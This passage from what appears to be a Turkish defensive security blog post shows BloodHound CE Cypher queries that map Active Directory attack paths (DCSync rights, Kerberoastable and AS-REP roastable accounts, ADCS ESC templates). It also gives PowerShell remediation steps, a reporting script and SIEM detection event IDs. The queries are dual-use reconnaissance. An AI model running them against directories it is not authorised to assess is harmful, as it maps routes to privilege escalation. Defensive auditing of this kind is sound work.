&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Sorgu 2: DCSync Hakları&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// DCSync haklarını tam olarak göster
MATCH p=(n)-[:DCSync]-&amp;gt;(d:Domain)
WHERE NOT (n:Computer AND n.name CONTAINS &#39;DC&#39;)
RETURN n.name,
       n.objectid,
       labels(n) as NodeType,
       d.name as Domain
ORDER BY n.name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Sorgu 3: Unconstrained Delegation Bilgisayarlar&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Unconstrained delegation + LAPS durumu + son aktiflik
MATCH (c:Computer {unconstraineddelegation:true, enabled:true})
WHERE NOT c.name CONTAINS &#39;DC&#39;
RETURN c.name,
       c.operatingsystem,
       c.haslaps,
       datetime({epochSeconds: toInteger(c.lastlogontimestamp)}) as LastSeen
ORDER BY c.lastlogontimestamp DESC NULLS LAST
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Sorgu 4: Kerberoastable Hesaplar (Tier 2&#39;den Ulaşılabilir)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Tier 2 kullanıcısından ulaşılabilir Kerberoastable hesaplar
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..5]-&amp;gt;
  (k:User {hasspn:true, enabled:true})
)
WHERE NOT u.admincount
RETURN u.name as SourceUser,
       k.name as KerberoastableTarget,
       k.serviceprincipalnames as SPNs,
       length(p) as Hops
ORDER BY Hops ASC
LIMIT 50
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Sorgu 5: Kullanılmayan Admin Hesapları (90+ gün)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// 90 gün boyunca kullanılmayan admincount hesapları
MATCH (u:User {admincount:true, enabled:true})
WHERE u.lastlogontimestamp &amp;lt; (timestamp() / 1000 - 7776000)
RETURN u.name,
       u.description,
       datetime({epochSeconds: toInteger(u.lastlogontimestamp)}) as LastLogon,
       datetime({epochSeconds: toInteger(u.pwdlastset)}) as PasswordLastSet
ORDER BY u.lastlogontimestamp ASC

// Hiç giriş yapmamış admin hesapları
MATCH (u:User {admincount:true, enabled:true})
WHERE u.lastlogontimestamp &amp;lt;= 0 OR u.lastlogontimestamp IS NULL
RETURN u.name, u.description, u.whencreated
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Sorgu 6: LAPS Olmayan Bilgisayarlar&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// LAPS eksik, aktif, domain-joined bilgisayarlar
MATCH (c:Computer {enabled:true})
WHERE c.haslaps = false
RETURN c.name,
       c.operatingsystem,
       datetime({epochSeconds: toInteger(c.lastlogontimestamp)}) as LastSeen
ORDER BY c.operatingsystem, c.name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Sorgu 7: AS-REP Roastable Hesaplar&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Kerberos ön auth devre dışı, etkin hesaplar
MATCH (u:User {dontreqpreauth:true, enabled:true})
OPTIONAL MATCH p=shortestPath(
  (u)-[*1..10]-&amp;gt;
  (g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})
)
RETURN u.name,
       u.admincount,
       u.description,
       length(p) as HopsToDA
ORDER BY HopsToDA ASC NULLS LAST
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Sorgu 8: AdminSDHolder Dışı GenericAll Yetkisi&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Yüksek değerli hedeflere sahip, düşük ayrıcalıklı hesaplar
MATCH (u:User {enabled:true})-[:GenericAll|GenericWrite]-&amp;gt;(t)
WHERE NOT u.admincount
AND (t:Group OR t:Computer OR t:User)
AND (t.highvalue OR t.admincount)
RETURN u.name as Attacker,
       t.name as HighValueTarget,
       labels(t) as TargetType
ORDER BY u.name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Bonus — Shadow Credentials (msDS-KeyCredentialLink):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// GenericWrite/GenericAll → msDS-KeyCredentialLink manipülasyonu
MATCH (u:User {enabled:true})-[r:GenericWrite|GenericAll|WriteAccountRestrictions]-&amp;gt;(t:User|Computer)
WHERE NOT u.admincount
RETURN u.name as Source,
       t.name as Target,
       type(r) as EdgeType,
       t.enabled as TargetEnabled
ORDER BY u.name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Bonus — ADCS ESC Yolları:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Sertifika şablonu aracılığıyla DC&#39;ye yol
MATCH p=(u:User {enabled:true})
  -[:Enroll|GenericAll|GenericWrite]-&amp;gt;
  (ct:CertTemplate)
  -[:PublishedTo]-&amp;gt;
  (ca:EnterpriseCA)
WHERE ct.enrolleeSuppliesSubject = true
OR ct.authenticationenabled = true
RETURN u.name, ct.name, ca.name, ct.enrolleeSuppliesSubject

// ADCS ESC1: Herhangi bir kullanıcı enroll edebilir + EKU authentication
MATCH (ct:CertTemplate)
WHERE ct.enrolleeSuppliesSubject = true
AND ct.authenticationenabled = true
AND ct.requiresmanagerapproval = false
RETURN ct.name, ct.oid
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Saldırı Yolu Önceliklendirme&lt;/h3&gt;
&lt;p&gt;Büyük organizasyonlarda yüzlerce saldırı yolu bulunabilir. Hepsini aynı anda düzeltmek mümkün değildir. Önceliklendirme için sistematik bir yaklaşım gerekir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Risk Skoru Hesaplama:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Risk skoru = Etki × Olasılık × Exposure&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Etki (1-5)&lt;/strong&gt;: Yol nereye götürüyor? Tier 0&#39;a mı (5), Tier 1&#39;e mi (3), Tier 2&#39;ye mi (1)?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Olasılık (1-5)&lt;/strong&gt;: Yol uzunluğu. 1-2 hop (5), 3-4 hop (3), 5+ hop (1).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exposure (1-3)&lt;/strong&gt;: Başlangıç hesabı internete maruz mu? Helpdesk/VPN/Webmail hesabı (3), internal-only kullanıcı (1).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Önceliklendirme Matrisi:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Risk Skoru&lt;/th&gt;
&lt;th&gt;Aksiyon&lt;/th&gt;
&lt;th&gt;SLA&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;60-75&lt;/td&gt;
&lt;td&gt;ACİL — Hemen ele al&lt;/td&gt;
&lt;td&gt;24-48 saat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40-59&lt;/td&gt;
&lt;td&gt;YÜKSEK — Bu sprint&lt;/td&gt;
&lt;td&gt;1 hafta&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-39&lt;/td&gt;
&lt;td&gt;ORTA — Planlı düzeltme&lt;/td&gt;
&lt;td&gt;1 ay&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0-19&lt;/td&gt;
&lt;td&gt;DÜŞÜK — Backlog&lt;/td&gt;
&lt;td&gt;3 ay&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Önceliklendirme verisi: yol uzunluğu + hesap aktifliği + admin durumu
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..10]-&amp;gt;
  (g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})
)
WITH u, length(p) as hops
RETURN u.name,
       hops,
       u.admincount,
       u.lastlogontimestamp,
       CASE
         WHEN hops &amp;lt;= 2 THEN &#39;CRITICAL&#39;
         WHEN hops &amp;lt;= 4 THEN &#39;HIGH&#39;
         WHEN hops &amp;lt;= 6 THEN &#39;MEDIUM&#39;
         ELSE &#39;LOW&#39;
       END as Priority
ORDER BY hops ASC, u.lastlogontimestamp DESC
LIMIT 100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;BloodHound CE Attack Paths Sekmesi:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BloodHound CE v5&#39;in &amp;quot;Attack Paths&amp;quot; sekmesi bu önceliklendirmeyi otomatik olarak yapar. Sekmeye erişim:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Sol menü → &amp;quot;Explore&amp;quot; yerine &amp;quot;Attack Paths&amp;quot;&lt;/li&gt;
&lt;li&gt;Domain seçin&lt;/li&gt;
&lt;li&gt;Tier Zero varlıklarınızı tanımlayın (özelleştirilebilir)&lt;/li&gt;
&lt;li&gt;&amp;quot;Findings&amp;quot; bölümü otomatik önceliklendirilmiş liste sunar&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Saldırı Yolu İyileştirme İş Akışı&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/bloodhound-attack-path-remediation.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Her kenar (edge) türü için spesifik iyileştirme adımları:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GenericAll / GenericWrite → Kaldır&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# PowerView ile ACE kaldır
Import-Module PowerView.ps1

# Kimin erişimi var kontrol et
Get-DomainObjectAcl -Identity &amp;quot;SVC_SQL&amp;quot; -ResolveGUIDs |
  Where-Object {$_.ActiveDirectoryRights -match &amp;quot;GenericAll&amp;quot;}

# ACE kaldır
Remove-DomainObjectAcl `
  -TargetIdentity &amp;quot;SVC_SQL&amp;quot; `
  -PrincipalIdentity &amp;quot;jdoe&amp;quot; `
  -Rights All `
  -Verbose

# AD Module ile kaldır (PowerView yerine)
$acl = Get-Acl &amp;quot;AD:&#92;CN=SVC_SQL,OU=ServiceAccounts,DC=corp,DC=local&amp;quot;
# GenericAll ACE&#39;yi bul ve kaldır
$ace = $acl.Access | Where-Object {
  $_.IdentityReference -eq &amp;quot;CORP&#92;jdoe&amp;quot; -and
  $_.ActiveDirectoryRights -match &amp;quot;GenericControl&amp;quot;
}
$acl.RemoveAccessRule($ace)
Set-Acl &amp;quot;AD:&#92;CN=SVC_SQL,OU=ServiceAccounts,DC=corp,DC=local&amp;quot; $acl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;MemberOf (Yanlış Grup Üyeliği) → Kaldır&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Hesabı Domain Admins&#39;ten kaldır
Remove-ADGroupMember `
  -Identity &amp;quot;Domain Admins&amp;quot; `
  -Members &amp;quot;SVC_SQL&amp;quot; `
  -Confirm:$false

# Tüm admin grup üyeliklerini kontrol et
Get-ADUser &amp;quot;SVC_SQL&amp;quot; -Properties MemberOf |
  Select-Object -ExpandProperty MemberOf |
  Get-ADGroup |
  Where-Object {$_.AdminCount -eq 1}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Unconstrained Delegation → Kaldır veya Kısıtla&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Unconstrained delegation&#39;ı kaldır
Set-ADComputer &amp;quot;APPSERVER01&amp;quot; `
  -TrustedForDelegation $false

# Constrained delegation ile değiştir
Set-ADComputer &amp;quot;APPSERVER01&amp;quot; `
  -TrustedToAuthForDelegation $true  # Protocol transition
Set-ADComputer &amp;quot;APPSERVER01&amp;quot; `
  -ServicePrincipalNames @{Add=&amp;quot;HTTP/webapp.corp.local&amp;quot;}

# Protected Users grubuna ekle (hesap bazında — delegation tamamen engellenir)
Add-ADGroupMember &amp;quot;Protected Users&amp;quot; -Members &amp;quot;APPSERVER01$&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Kerberoastable Hesap → gMSA ile Değiştir&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# gMSA oluştur
New-ADServiceAccount `
  -Name &amp;quot;gMSA_SQL&amp;quot; `
  -DNSHostName &amp;quot;sql-srv01.corp.local&amp;quot; `
  -PrincipalsAllowedToRetrieveManagedPassword &amp;quot;SQL-SRV01$&amp;quot; `
  -KerberosEncryptionType AES128,AES256

# SQL Server servisini gMSA ile yapılandır
# SQL Server Configuration Manager → Service Account → NT SERVICE&#92;gMSA_SQL$

# Eski servis hesabını devre dışı bırak
Disable-ADAccount &amp;quot;svc_sql&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;HasSession → PAW Uygula&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Tier 0 admin hesaplarının Tier 2 makinelerde oturum açmasını engelle
# Restricted Admin Mode GPO
# Computer Config → Admin Templates → System → Credentials Delegation
# &amp;quot;Restrict delegation of credentials to remote servers&amp;quot; = Enabled

# Protected Users grubuna admin hesapları ekle
Add-ADGroupMember &amp;quot;Protected Users&amp;quot; -Members &amp;quot;DA-jsmith&amp;quot;

# Logon workstations kısıtla (hesap bazında)
Set-ADUser &amp;quot;DA-jsmith&amp;quot; -LogonWorkstations &amp;quot;PAW-01,PAW-02,PAW-03&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;BloodHound ile ADCS (Active Directory Certificate Services) Analizi&lt;/h3&gt;
&lt;p&gt;ADCS, son yıllarda kritik bir saldırı yüzeyi olarak ön plana çıktı. Will Schroeder ve Lee Christensen&#39;ın &amp;quot;Certified Pre-Owned&amp;quot; araştırması, onlarca farklı sertifika şablonu kötüye kullanım senaryosunu belgeledi. BloodHound CE, ADCS ilişkilerini (CertTemplate, EnterpriseCA, IssuedSignedBy) grafik üzerinde modelleyerek bu saldırı yollarını görselleştirir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC1 — Enrollee Supplies Subject + EKU Auth:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// ESC1: Herhangi kullanıcı kendini DC olarak tanıtabilen sertifika alabilir
MATCH (ct:CertTemplate)
WHERE ct.enrolleeSuppliesSubject = true
AND ct.authenticationenabled = true
AND ct.requiresmanagerapproval = false
AND ct.nosecurityextension = false
MATCH (ca:EnterpriseCA)-[:PublishedTo]-&amp;gt;(ct)
MATCH (u:User {enabled:true})-[:Enroll|GenericAll|GenericWrite]-&amp;gt;(ct)
RETURN u.name, ct.name, ca.name
ORDER BY u.name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ESC4 — Template Overwrite:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// ESC4: Kullanıcı sertifika şablonunu değiştirebilir
MATCH (u:User {enabled:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner]-&amp;gt;(ct:CertTemplate)
WHERE NOT u.admincount
RETURN u.name, ct.name, u.enabled
ORDER BY u.name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ESC7 — CA Officer/Manager:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// ESC7: CA manage yetkisi — isteğe bağlı sertifika onayı
MATCH (u:User {enabled:true})-[:ManageCertificates|ManageCA]-&amp;gt;(ca:EnterpriseCA)
WHERE NOT u.admincount
RETURN u.name, ca.name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ADCS İyileştirme Kontrol Listesi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Tüm sertifika şablonlarını listele
certutil -v -template | Select-String &amp;quot;Template Name:&amp;quot;

# ESC1 için: EnrolleesCanRequestCertificates kaldır
# Certificates snap-in (certtmpl.msc):
# Şablon → Özellikler → Konu Adı → &amp;quot;Bu bilgiyi Active Directory&#39;den al&amp;quot; seçin

# Manager approval zorunlu kıl (kritik şablonlar için)
# Şablon → Özellikler → Verme Gereksinimleri → &amp;quot;CA yöneticisinin onayı&amp;quot; = ON

# NTLM relay için HTTP&#39;yi devre dışı bırak (ESC8)
# IIS Authentication → Devre Dışı Bırak: Windows Authentication (NTLM)
# Etkinleştir: HTTPS + FQDN enrollment
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Otomatik Raporlama ve Sürekli İzleme&lt;/h3&gt;
&lt;p&gt;BloodHound CE, REST API sunar. Bu API&#39;yi kullanarak haftalık otomatik raporlama sistemi kurabilirsiniz.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# BloodHound CE API kimlik doğrulama
TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/auth/login &#92;
  -H &amp;quot;Content-Type: application/json&amp;quot; &#92;
  -d &#39;{&amp;quot;login_name&amp;quot;:&amp;quot;admin&amp;quot;,&amp;quot;secret&amp;quot;:&amp;quot;YourPassword123&amp;quot;}&#39; &#92;
  | jq -r &#39;.data.session_token&#39;)

echo &amp;quot;Token: $TOKEN&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
&amp;quot;&amp;quot;&amp;quot;
BloodHound CE Haftalık Defensif Rapor
Her Pazartesi sabahı çalıştırın: cron 0 8 * * 1
&amp;quot;&amp;quot;&amp;quot;
import requests
import json
from datetime import datetime, timedelta

BHCE_URL = &amp;quot;http://localhost:8080&amp;quot;
USERNAME = &amp;quot;svc_reporting&amp;quot;
PASSWORD = &amp;quot;SecureP@ss!&amp;quot;

def get_token():
    r = requests.post(f&amp;quot;{BHCE_URL}/api/v2/auth/login&amp;quot;,
                      json={&amp;quot;login_name&amp;quot;: USERNAME, &amp;quot;secret&amp;quot;: PASSWORD})
    return r.json()[&amp;quot;data&amp;quot;][&amp;quot;session_token&amp;quot;]

def run_cypher(token, query):
    headers = {&amp;quot;Authorization&amp;quot;: f&amp;quot;Bearer {token}&amp;quot;,
               &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;}
    r = requests.post(f&amp;quot;{BHCE_URL}/api/v2/graphs/cypher&amp;quot;,
                      headers=headers,
                      json={&amp;quot;query&amp;quot;: query})
    return r.json()

def generate_weekly_report():
    token = get_token()
    report = {
        &amp;quot;date&amp;quot;: datetime.now().isoformat(),
        &amp;quot;findings&amp;quot;: {}
    }

    # En kısa yollar
    da_paths = run_cypher(token, &amp;quot;&amp;quot;&amp;quot;
        MATCH p=shortestPath(
          (u:User {enabled:true})-[*1..10]-&amp;gt;
          (g:Group {name:&amp;quot;DOMAIN ADMINS@CORP.LOCAL&amp;quot;})
        )
        RETURN u.name, length(p) as hops
        ORDER BY hops ASC LIMIT 20
    &amp;quot;&amp;quot;&amp;quot;)
    report[&amp;quot;findings&amp;quot;][&amp;quot;shortest_paths_to_da&amp;quot;] = da_paths

    # DCSync hakları
    dcsync = run_cypher(token, &amp;quot;&amp;quot;&amp;quot;
        MATCH (n)-[:DCSync]-&amp;gt;(d:Domain)
        WHERE NOT (n:Computer AND n.name CONTAINS &#39;DC&#39;)
        RETURN n.name, labels(n)
    &amp;quot;&amp;quot;&amp;quot;)
    report[&amp;quot;findings&amp;quot;][&amp;quot;dcsync_accounts&amp;quot;] = dcsync

    # Stale adminler
    stale = run_cypher(token, f&amp;quot;&amp;quot;&amp;quot;
        MATCH (u:User {admincount:true, enabled:true})
        WHERE u.lastlogontimestamp &amp;lt; {int((datetime.now() - timedelta(days=90)).timestamp())}
        RETURN u.name, u.lastlogontimestamp
        ORDER BY u.lastlogontimestamp ASC
    &amp;quot;&amp;quot;&amp;quot;)
    report[&amp;quot;findings&amp;quot;][&amp;quot;stale_admins&amp;quot;] = stale

    # Raporu kaydet
    filename = f&amp;quot;bhce_report_{datetime.now().strftime(&#39;%Y%m%d&#39;)}.json&amp;quot;
    with open(filename, &#39;w&#39;) as f:
        json.dump(report, f, indent=2)

    print(f&amp;quot;[+] Rapor kaydedildi: {filename}&amp;quot;)
    return report

if __name__ == &amp;quot;__main__&amp;quot;:
    report = generate_weekly_report()

    # Kritik bulgular için uyarı
    if report[&amp;quot;findings&amp;quot;][&amp;quot;dcsync_accounts&amp;quot;].get(&amp;quot;data&amp;quot;, {}).get(&amp;quot;nodes&amp;quot;):
        print(&amp;quot;[!] KRİTİK: Yetkisiz DCSync hesapları tespit edildi!&amp;quot;)
        # E-posta/Slack/Teams bildirimi gönderin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Delta Analizi — Haftadan Haftaya Değişim:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def compare_reports(old_report, new_report):
    &amp;quot;&amp;quot;&amp;quot;Önceki haftaya göre yeni saldırı yollarını tespit et&amp;quot;&amp;quot;&amp;quot;
    old_users = set(
        item[&amp;quot;u.name&amp;quot;]
        for item in old_report[&amp;quot;findings&amp;quot;][&amp;quot;shortest_paths_to_da&amp;quot;].get(&amp;quot;data&amp;quot;, {}).get(&amp;quot;nodes&amp;quot;, [])
    )
    new_users = set(
        item[&amp;quot;u.name&amp;quot;]
        for item in new_report[&amp;quot;findings&amp;quot;][&amp;quot;shortest_paths_to_da&amp;quot;].get(&amp;quot;data&amp;quot;, {}).get(&amp;quot;nodes&amp;quot;, [])
    )

    new_exposures = new_users - old_users
    fixed_paths = old_users - new_users

    if new_exposures:
        print(f&amp;quot;[!] YENİ MARUZ KALAN HESAPLAR: {new_exposures}&amp;quot;)
    if fixed_paths:
        print(f&amp;quot;[+] İYİLEŞTİRİLEN HESAPLAR: {fixed_paths}&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Savunma Yatırımı Öncelikleri&lt;/h3&gt;
&lt;p&gt;BloodHound analizi tamamlandığında, mevcut bulgulara bakılmaksızın şu temel güvenlik kontrolleri her AD ortamında olmalıdır:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Tier 0 İzolasyonu&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DC&#39;ler, CA&#39;lar ve ADFS için ayrı OU yapısı&lt;/li&gt;
&lt;li&gt;PAW (Privileged Access Workstation): Tier 0 yönetimi için ayrı, hardened iş istasyonları&lt;/li&gt;
&lt;li&gt;Admin hesapları için ayrı kimlik bilgileri (&lt;code&gt;jsmith&lt;/code&gt; ≠ &lt;code&gt;DA-jsmith&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;JIT (Just-In-Time) erişim: admin hakları sadece gerektiğinde ve süre sınırlı&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Tüm Admin Hesapları için MFA&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Azure AD MFA veya Microsoft Authenticator&lt;/li&gt;
&lt;li&gt;Smart card / Windows Hello for Business (FIDO2)&lt;/li&gt;
&lt;li&gt;Phishing-resistant MFA tercih edilmeli&lt;/li&gt;
&lt;li&gt;Conditional Access ile konuma ve cihaza göre kısıtlama&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. LAPS Deployment&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows LAPS (Windows 11 / Server 2022 dahili)&lt;/li&gt;
&lt;li&gt;Eski Windows: Microsoft LAPS MSI&lt;/li&gt;
&lt;li&gt;Her workstation ve server&#39;a — DC&#39;ler hariç&lt;/li&gt;
&lt;li&gt;Şifre rotasyonu: 24 saat (workstations), 48 saat (servers)&lt;/li&gt;
&lt;li&gt;LAPS şifresine erişimi ayrıcalıklı gruplara sınırlayın&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4. SMB Signing Zorunlu&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# GPO: Computer Configuration → Windows Settings →
# Security Settings → Local Policies → Security Options
# &amp;quot;Microsoft network server: Digitally sign communications (always)&amp;quot; = Enabled
# &amp;quot;Microsoft network client: Digitally sign communications (always)&amp;quot; = Enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. Protected Users Grubu&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tüm Tier 0 hesapları Protected Users üyesi olmalı&lt;/li&gt;
&lt;li&gt;Etkiler: RC4 kaldırır, delegation engeller, NTLM kaldırır, TGT süresi kısalır&lt;/li&gt;
&lt;li&gt;Dikkat: Bazı eski uygulamalar NTLM gerektiriyor olabilir — test edin!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;6. Credential Guard&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Credential Guard aktifleştir (UEFI + Secure Boot gerekli)
# GPO: Computer Config → Admin Templates → System → Device Guard
# &amp;quot;Turn On Virtualization Based Security&amp;quot; = Enabled
# &amp;quot;Credential Guard Configuration&amp;quot; = Enabled with UEFI lock

# PowerShell ile kontrol
(Get-ComputerInfo).DeviceGuardSecurityServicesRunning
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;7. Haftalık BloodHound Analizi&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SharpHound koleksiyonu: Her Pazar gecesi otomatik&lt;/li&gt;
&lt;li&gt;Delta analizi: Yeni yollar var mı?&lt;/li&gt;
&lt;li&gt;Ticket oluştur: Öncelikli bulgular için Jira/ServiceNow&lt;/li&gt;
&lt;li&gt;Metrikleri izle: Domain&#39;deki ortalama yol uzunluğu trend analizi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;8. Audit Logging (Olay İzleme)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# DCSync attempt detection — Event ID 4662
# DS-Replication-Get-Changes-All erişim girişimi
# SIEM kuralı: Event 4662 + AccessMask = 0x100 veya 0x10

# AdminSDHolder değişiklik tespiti — Event ID 5136
# SIEM kuralı: 5136 + ObjectClass = ms-DS-Admin-Count

# Yetkisiz ACL değişikliği — Event ID 5136, 4670
# Kerberoast girişimi — Event ID 4769 + TicketOptions 0x40810000
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Referanslar ve Kaynaklar&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Birincil Kaynaklar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Andy Robbins, Rohan Vazarkar, Will Schroeder — BloodHound (2016) ve tüm subsequent research&lt;/li&gt;
&lt;li&gt;SpecterOps — Attack Path Management metodolojisi ve BloodHound CE&lt;/li&gt;
&lt;li&gt;GitHub: &lt;code&gt;github.com/SpecterOps/BloodHound&lt;/code&gt; (Apache 2.0)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Akademik ve Teknik Referanslar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft ESAE (Enhanced Security Admin Environment) — Emekli oldu, yerine Enterprise Access Model geçti&lt;/li&gt;
&lt;li&gt;Microsoft Enterprise Access Model — Katmanlı yönetim için güncel rehber&lt;/li&gt;
&lt;li&gt;&amp;quot;Certified Pre-Owned&amp;quot; — Will Schroeder, Lee Christensen (ADCS saldırıları)&lt;/li&gt;
&lt;li&gt;&amp;quot;The Dog Whisperer&#39;s Handbook&amp;quot; — harmj0y (BloodHound kullanım rehberi)&lt;/li&gt;
&lt;li&gt;&amp;quot;An Ace Up the Sleeve&amp;quot; — Andy Robbins, Will Schroeder (ACL saldırıları)&lt;/li&gt;
&lt;li&gt;&amp;quot;Not a Security Boundary&amp;quot; — Andy Robbins (forest trust saldırıları)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Araçlar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SharpHound: &lt;code&gt;github.com/SpecterOps/SharpHound&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bloodhound.py/&quot;&gt;BloodHound.py&lt;/a&gt;: &lt;code&gt;github.com/dirkjanm/BloodHound.py&lt;/code&gt;&lt;/li&gt;
